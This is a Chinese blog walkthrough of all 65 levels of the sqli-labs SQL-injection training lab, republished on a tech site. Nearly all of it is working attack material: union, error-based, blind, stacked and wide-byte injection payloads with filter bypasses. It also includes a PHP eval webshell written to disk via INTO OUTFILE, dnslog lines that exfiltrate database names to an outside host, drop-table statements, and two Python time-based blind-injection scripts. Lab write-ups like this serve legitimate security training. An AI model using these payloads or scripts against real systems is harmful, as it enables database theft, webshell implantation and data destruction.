IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> sqli-labs做题记录(全65) -> 正文阅读

[PHP知识库]sqli-labs做题记录(全65)

目录

Page-1(Basic Challenges)less1-20

1,基于单引号的字符型注入

2,数值型注入

3,基于')的字符型注入

4,基于")字符型注入

5,基于'字符型的错误回显注入

6,基于"字符型的错误回显注入

7,SQL注入写文件

8,基于'的盲注(利用dnslog回显)

9,基于'的时间盲注

10,基于"的时间盲注

11,基于'的POST型注入

12,基于")的POST型注入

13,基于')的错误回显注入

14,基于"的错误回显注入

15,基于'的POST型盲注(可利用dnslog回显)

16,基于")的POST型盲注

17,基于'的密码报错注入

18,基于'的user-agrnt注入

19,基于'的Referer注入

20,基于'的Cookie注入

Page-2(Advanced Injections)less21-37

21,基于')的cookie注入

22,基于"的cookie注入

23,过滤(--,#)的'注入

24,二次注入

25,基于'的过滤(or,and)的注入

25a,过滤(or,and)的注入

26,基于'的过滤(or,and,空格)的注入

26a,基于')的过滤(or,and,空格)的盲注

27,基于'的过滤(--,#,空格,union,select)的注入

27a,基于"的过滤(--,#,空格,union,select)的注入

28,基于')的过滤(--,#,空格,union,select)的注入

28a,基于')的过滤(union select)的注入

29,基于'的注入

29,login.php。参数污染

30,基于"的注入

30,login.php。参数污染

31,基于")的注入

31,login.php。参数污染

32,宽字节注入

33,宽字节注入

34,POST型宽字节注入

35,数值型不需要考虑'转义情况

36,GET绕过mysql_real_escape_string

37,POST绕过mysql_real_escape_string

Page-3(Stacked?Injections)less38-53

38,基于'的堆叠注入

39,基于数值型的堆叠注入

40,基于')的堆叠注入

41,基于数值型的堆叠注入

42,基于'堆叠注入,密码参数

43,基于')堆叠注入,密码参数

44,基于'堆叠注入,密码参数

45,基于')堆叠注入,密码参数

46,基于数值型的order by 报错注入

47,基于'的order by 报错注入

48,基于数值型的order by 盲注

49,基于'的order by 盲注

50,基于数值型的order by堆叠注入

51,基于'的order by堆叠注入

52,基于数值型的order by堆叠注入

53,基于'的order by堆叠注入

Page-4(Challenges)less54-75

54,拿到数据库中的key(10次查询机会)

55,同54闭合方式由'换成)

56,同54闭合方式由'换成')

57,同54闭合方式由'换成"

58,报错注入(5次查询机会)

59,同58,ID为数值型不需要闭合

60,同58闭合方式由'换成")

61,同58闭合方式由'换成'))

62,盲注(130次请求限制)

63,同62闭合方式由')换成'

64,同62闭合方式由')换成))

65,同62闭合方式由')换成")


Page-1(Basic Challenges)less1-20

1,基于单引号的字符型注入

id=-1' union select 1,2,3; --+

2,数值型注入

id=-1 union select 1,2,3; --+

3,基于')的字符型注入

id=-1')union select 1,2,3 ; --+

4,基于")字符型注入

id=-1") union select 1,2,3 --+

5,基于'字符型的错误回显注入

id=' union select 1,extractvalue(1,concat(0x7e,'payload')),3 --+

6,基于"字符型的错误回显注入

id=" union select 1,extractvalue(1,concat(0x7e,'payload')),3 --+

7,SQL注入写文件

id=1')) union select 1,2,'<?php @eval($_POST[ma]); ?>' into outfile"" --+

8,基于'的盲注(利用dnslog回显)

id=1' and load_file(concat("\\\\",(database()),".f8lzlp.dnslog.cn\\1.txt")) --+

9,基于'的时间盲注

获取数据库名字:

#coding:utf-8
import requests
import time
 
ip_port="192.168.2.9:80"

session=requests.session()
#获取数据库名长度
def get_length_of_database():
    i=1
    while True:
        url="http://%s/sqli-labs/Less-8/?id=1' and length(database())=%d and sleep(2) --+"%(ip_port,i)
        startTime=time.time()
        rsq=session.get(url)
        endTime=time.time()
        ga=endTime-startTime
        if ga>2:
            return i
        i=i+1

#获取数据库名字
def get_name_of_database():
    length_of_database=get_length_of_database()
    name_of_database=""
    for j in range(1,length_of_database):
        for k in range(33,127):
            url="http://%s/sqli-labs/Less-8/?id=1' and ascii(substr(database(),%d,1))=%d and sleep(2) -- &action=search"%(ip_port,j,k)
            startTime=time.time()
            rsq=session.get(url)
            endTime=time.time()
            ga=endTime-startTime
            if ga>2:
                name_of_database+=chr(k)
                break
    return name_of_database

if __name__=='__main__':
    print(get_name_of_database())

10,基于"的时间盲注

11,基于'的POST型注入

1' union select 1,extractvalue(1,concat(0x7e,'payload')),3 #

12,基于")的POST型注入

1") union select 1,extractvalue(1,concat(0x7e,'payload')),3 #

13,基于')的错误回显注入

1') union select 1,extractvalue(1,concat(0x7e,'payload')),3 #

14,基于"的错误回显注入

1" union select 1,extractvalue(1,concat(0x7e,'payload')),3 #

15,基于'的POST型盲注(可利用dnslog回显)

1' and load_file(concat("\\\\",(database()),".qyfyji.dnslog.cn\\1.txt")) #

16,基于")的POST型盲注

admin") and length(database())=8 and sleep(10) #

17,基于'的密码报错注入

1' and extractvalue(1,concat(0x7e,database())) #

18,基于'的user-agrnt注入

User-Agent: ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

19,基于'的Referer注入

?',1,updatexml(1,concat(0x7e, user(),0x7e),1))#

20,基于'的Cookie注入

Cookie: uname=1'and extractvalue(1,concat(0x7e,user())) #

Page-2(Advanced Injections)less21-37

21,基于')的cookie注入

Cookie: uname=') union select 1,user(),3 #? ? ? ? (需要对值进行base64编码)

22,基于"的cookie注入

Cookie: uname=" union select 1,2,3 #? ? ? ? ?(需要对值进行base64编码)

23,过滤(--,#)的'注入

id=-1' union select 1,2,3 and '1'='1

24,二次注入

创建用户admin' #? ? ? ? 重置密码会修改admin用户密码。

25,基于'的过滤(or,and)的注入

id=-1' union select 1,2,3 --+

25a,过滤(or,and)的注入

id=-1 union select 1,2,3

26,基于'的过滤(or,and,空格)的注入

id=-1'anandd(extractvalue(1,concat(0x7e,user())))anandd'1'='1

26a,基于')的过滤(or,and,空格)的盲注

27,基于'的过滤(--,#,空格,union,select)的注入

id=1'and(updatexml(1,concat(0x7e,user()),1))and'1'='1

27a,基于"的过滤(--,#,空格,union,select)的注入

id=1"and(updatexml(1,concat(0x7e,user()),1))and"1"="1

28,基于')的过滤(--,#,空格,union,select)的注入

id=a')
union
all
select
1,2,('3

(换行符替换空格)

进行url编码

id=a')%0aunion%0aall%0aselect%0a1%2c2%2c('3

28a,基于')的过滤(union select)的注入

id=-1') union all select 1,2,('3

29,基于'的注入

id=-1' union select 1,2,'3

29,login.php。参数污染

id=1&id=-2'union select 1,2,'3

30,基于"的注入

id=-1" union select 1,2,"3

30,login.php。参数污染

id=1&id=-2" union select 1,2,"3

31,基于")的注入

id=1") union select 1,2,("3

31,login.php。参数污染

id=1&id=-2") union select 1,2,("3

32,宽字节注入

id=-1%df' union select 1,2,3 --+

33,宽字节注入

id=-1%df' union select 1,2,3 --+

34,POST型宽字节注入

uname=admin%df' union select 1,2 -- -&passwd=admin&submit=Submit

35,数值型不需要考虑'转义情况

id=-1 union select 1,2,3 --+

36,GET绕过mysql_real_escape_string

id=-1%df' union select 1,2,3 --+

37,POST绕过mysql_real_escape_string

uname=admin%df%27 union select 1,2 

Page-3(Stacked?Injections)less38-53

38,基于'的堆叠注入

id=1';create database ma123 default charset utf8; --+

39,基于数值型的堆叠注入

id=1;create database less39 default charset utf8; --+

40,基于')的堆叠注入

id=1');create database less40 default charset utf8 --+

41,基于数值型的堆叠注入

id=1;create database less41 default charset utf8 --+

42,基于'堆叠注入,密码参数

a';drop table less42;#

43,基于')堆叠注入,密码参数

q');create database less43 default charset utf8; --+

44,基于'堆叠注入,密码参数

as';create database less44 default charset utf8; --+

45,基于')堆叠注入,密码参数

aa');create database less45 default charset utf8;--+

46,基于数值型的order by 报错注入

sort=1 and extractvalue(1,concat(0x7e,user())) --+

47,基于'的order by 报错注入

sort=1' and extractvalue(1,concat(0x7e,user())) --+

48,基于数值型的order by 盲注

sort=1 and length(database())=8 and sleep(3) --+

49,基于'的order by 盲注

sort=1' and length(database())=8 and sleep(3) --+

50,基于数值型的order by堆叠注入

sort=1;create database less50 default charset utf8; --+

51,基于'的order by堆叠注入

sort=1';create database less51 default charset utf8; --+

52,基于数值型的order by堆叠注入

sort=1;create database less52 default charset utf8; --+

53,基于'的order by堆叠注入

sort=1';create database less53 default charset utf8; --+

Page-4(Challenges)less54-75

54,拿到数据库中的key(10次查询机会)

爆表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ;--+
爆列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='37k2u0fbsh' ;--+
爆数据
id=-1' union select 1,2,secret_BXYU from 37k2u0fbsh ;--+
输入key。

55,同54闭合方式由'换成)

56,同54闭合方式由'换成')

57,同54闭合方式由'换成"

58,报错注入(5次查询机会)

爆表名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='769b0z0f8f'))) --+
爆数据
id=1' and extractvalue(1,concat(0x7e,(select secret_OY8Y from 769b0z0f8f))) --+
输入key。

59,同58,ID为数值型不需要闭合

60,同58闭合方式由'换成")

61,同58闭合方式由'换成'))

62,盲注(130次请求限制)

# coding:utf-8
# 基于字符串比特位匹配的盲注脚本
import time
 
import requests
import re
import os
 
sql_fp = "1')%260%7c"
# 由于服务器响应慢,正常返回为2s多,sleep(0.1)延时1s
sql_cmd = sql_fp + "(select case bin(ascii(substr(@0_name, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0_name, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from information_schema.@0s where table_schema=database() @4 )  --+"
sql_search = sql_fp + "(select case bin(ascii(substr(@0, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from @4 )  --+"
url = 'http://192.168.2.9/sqli-labs/less-62/?id='
state_list = []
rp = 'Your\s*Login\s*name\s*:\s*(.*?)<br>'
rc = 1
 
 
def main():
 
    if os.path.exists('./bsl.txt'):
        print('文件存在')
        with open('./bsl.txt', 'r') as f:
            res = f.read().split('\n')
            for i in res:
                if i != '':
                    state_list.append(i)
    else:
        print('文件不存在')
 
        # 0.爆破状态表
        print('收集状态表')
        state_list.append('0')
        for i in range(1, pow(2, 3)+2):
            u = url + str(i)
            respond = requests.get(u)
            state_list.append(re.findall(rp, respond.text)[0])
            print('.', end='')
 
        with open('./bsl.txt', 'w') as f:
            f.write('\n'.join(state_list))
            print('写入完成')
 
    print('爆破状态表:')
    print(state_list)
 
    # @ 表名
    table_name_list = []
    if input('是否指定表名? y/n:') != 'y':
        print('[~]进行表名判断')
        for i in range(1, 11):
            c = 0
            # 1.判断 字符的第0,1,2,6位
            # 010 大写字母; 011 小写字母; 001 数字
            state = req('table', i, 0, 6)
            c = c | state[0] | state[1] << 6
            # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
 
            # 2.判断 字符的第3,4,5,7位
            state = req('table', i, 3, 7)
            c = c | state[0] << 3 | state[1] << 7
            # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
 
            print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
            table_name_list.append((chr(c)))
        table_name = ''.join(table_name_list)
        print('爆破表名为: [ {} ]'.format(table_name))
    else:
        table_name = input('输入表名:').strip()
 
    # @字段名
    column_name_list = []
    offset = 7
    if input('是否指定字段名? y/n:') != 'y':
        print('[~]进行第三个字段名名判断,从第7个字符,判断4个字符出来')
        for i in range(1, 5):
            c = 0
            # 1.判断 字符的第0,1,2,6位
            # 010 大写字母; 011 小写字母; 001 数字
            state = req('column', i+offset, 0, 6, table_name=table_name)
            c = c | state[0] | state[1] << 6
            # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
 
            # 2.判断 字符的第3,4,5,7位
            state = req('column', i+offset, 3, 7, table_name=table_name)
            c = c | state[0] << 3 | state[1] << 7
            # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
 
            print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
            column_name_list.append((chr(c)))
        column_name = 'secret_' + ''.join(column_name_list)
        print('爆破的字段名为:[ {} ]'.format(column_name))
    else:
        column_name = input('输入字段名:').strip()
 
    # 9u8573nri2
    # secret_WJWE
    # @字段内容
    value_list = []
    print('[~]字段值进行枚举中....')
    for i in range(1, 25):
        c = 0
        # 1.判断 字符的第0,1,2,6位
        # 010 大写字母; 011 小写字母; 001 数字
        state = search(column_name, table_name, i, 0, 6)
        c = c | state[0] | state[1] << 6
        # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
 
        # 2.判断 字符的第3,4,5,7位
        state = search(column_name, table_name, i, 3, 7)
        c = c | state[0] << 3 | state[1] << 7
        # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
 
        print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
        value_list.append((chr(c)))
    value = ''.join(value_list)
 
    print('爆破表名为: [ {} ]'.format(table_name))
    print('爆破的字段名为:[ {} ]'.format(column_name))
    print('[!]{}的值为:[ {} ]'.format(column_name, value))
 
 
def req(type, i, co, ci, **kwargs):
    global rc
    rl = []
    t = sql_cmd
    if type == 'column':
        ep = "and table_name = '{}' limit 2,1".format(kwargs['table_name'])
    else:
        ep = ''
    sql = t.replace('@0', type).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci)).replace('@4', ep)
 
    u = url + sql
    print('[!]第{:d}次请求......'.format(rc))
    rc = rc + 1
    time_start = time.time()
    respond = requests.get(u)
    print(u)
    time_end = time.time()
    timeReal = time_end - time_start
    # print(respond.text)
    rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
    # print(timeReal)
    if timeReal > 4:
        rl.append(1)
    else:
        rl.append(0)
    return rl
 
 
def search(cn, tn, i, co, ci):
    global rc
    rl = []
    t = sql_search
    sql = t.replace('@0', cn).replace('@4', tn).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci))
 
    u = url + sql
    print('[!]第{:d}次请求......'.format(rc))
    rc = rc + 1
    time_start = time.time()
    respond = requests.get(u)
    time_end = time.time()
    timeReal = time_end - time_start
    # print(respond.text)
    rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
    # print(timeReal)
    if timeReal > 4:
        rl.append(1)
    else:
        rl.append(0)
    return rl
 
 
def getIndex(bl, value):
    for i, e in enumerate(bl):
        if e == value:
            return i
    return -1
 
 
if __name__ == '__main__':
    main()

参考:[靶场] SQLi-Labs Less62-Less69_3hex的博客-CSDN博客

63,同62闭合方式由')换成'

64,同62闭合方式由')换成))

65,同62闭合方式由')换成")

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-21 20:28:31  更:2022-03-21 20:28:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 11:10:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码